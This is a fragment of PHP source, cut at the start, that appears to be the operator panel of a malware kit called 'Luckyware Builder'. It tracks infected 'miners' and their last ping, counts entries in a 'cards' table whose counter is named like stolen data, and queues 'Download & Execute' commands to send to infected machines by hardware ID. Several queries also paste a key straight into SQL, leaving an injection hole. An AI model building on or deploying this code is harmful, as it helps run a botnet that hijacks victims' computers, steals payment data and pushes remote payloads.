= $fiveMinutesAgo"; } else { $selectu = "SELECT * FROM miners WHERE OwnerID = '$secretkey'"; $resultu = mysqli_query($conn, $selectu); $mytk = mysqli_num_rows($resultu); $selectan = "SELECT * FROM cards WHERE OwnerID = '$secretkey'"; $resultan = mysqli_query($conn, $selectan); $mystole = mysqli_num_rows($resultan); $fiveMinutesAgo = time() - 360; $selectana = "SELECT * FROM miners WHERE OwnerID = '$secretkey' AND LastPing >= $fiveMinutesAgo"; } $resultanss = mysqli_query($conn, $selectana); $myaktv = mysqli_num_rows($resultanss); } function sanitizeInput($input) { // Define the list of forbidden characters $forbiddenChars = ['(', ')', '=', '*']; $isac = '0'; // Check if the input contains any forbidden characters foreach ($forbiddenChars as $char) { if (strpos($input, $char) !== false) { // Forbidden character found, handle the error (you can customize this part) $isac = '1'; } } if ($isac == '1') { return 'NoSpecialChar'; } else { return htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); } } if (isset($_POST["savv"])) { $Acton = $_POST['powar']; $sql = "INSERT INTO actions (HWID, ActionInfo, ActionType, ActionOwner, ActionStatus, ActionSentTime) VALUES ('0',?,'exc', ?, '0', 'Download & Execute')"; $stmttc = mysqli_prepare($conn, $sql); mysqli_stmt_bind_param($stmttc, "ss", $Acton, $secretkey); mysqli_stmt_execute($stmttc); } if (isset($_POST['id'])) { // Handle the deletion here $idA = $_POST['id']; $sqlUpdate = "DELETE FROM actions WHERE ActionID = ?"; $stmtUpdate = $conn->prepare($sqlUpdate); $stmtUpdate->bind_param("i", $idA); if ($stmtUpdate->execute()) { } else { } } ?> Automations

Luckyware Builder

Lucky Ware

Total Clients

Active Clients

Total Cards

Subscription

Add Automation


Automations

s


ID Automation Type Options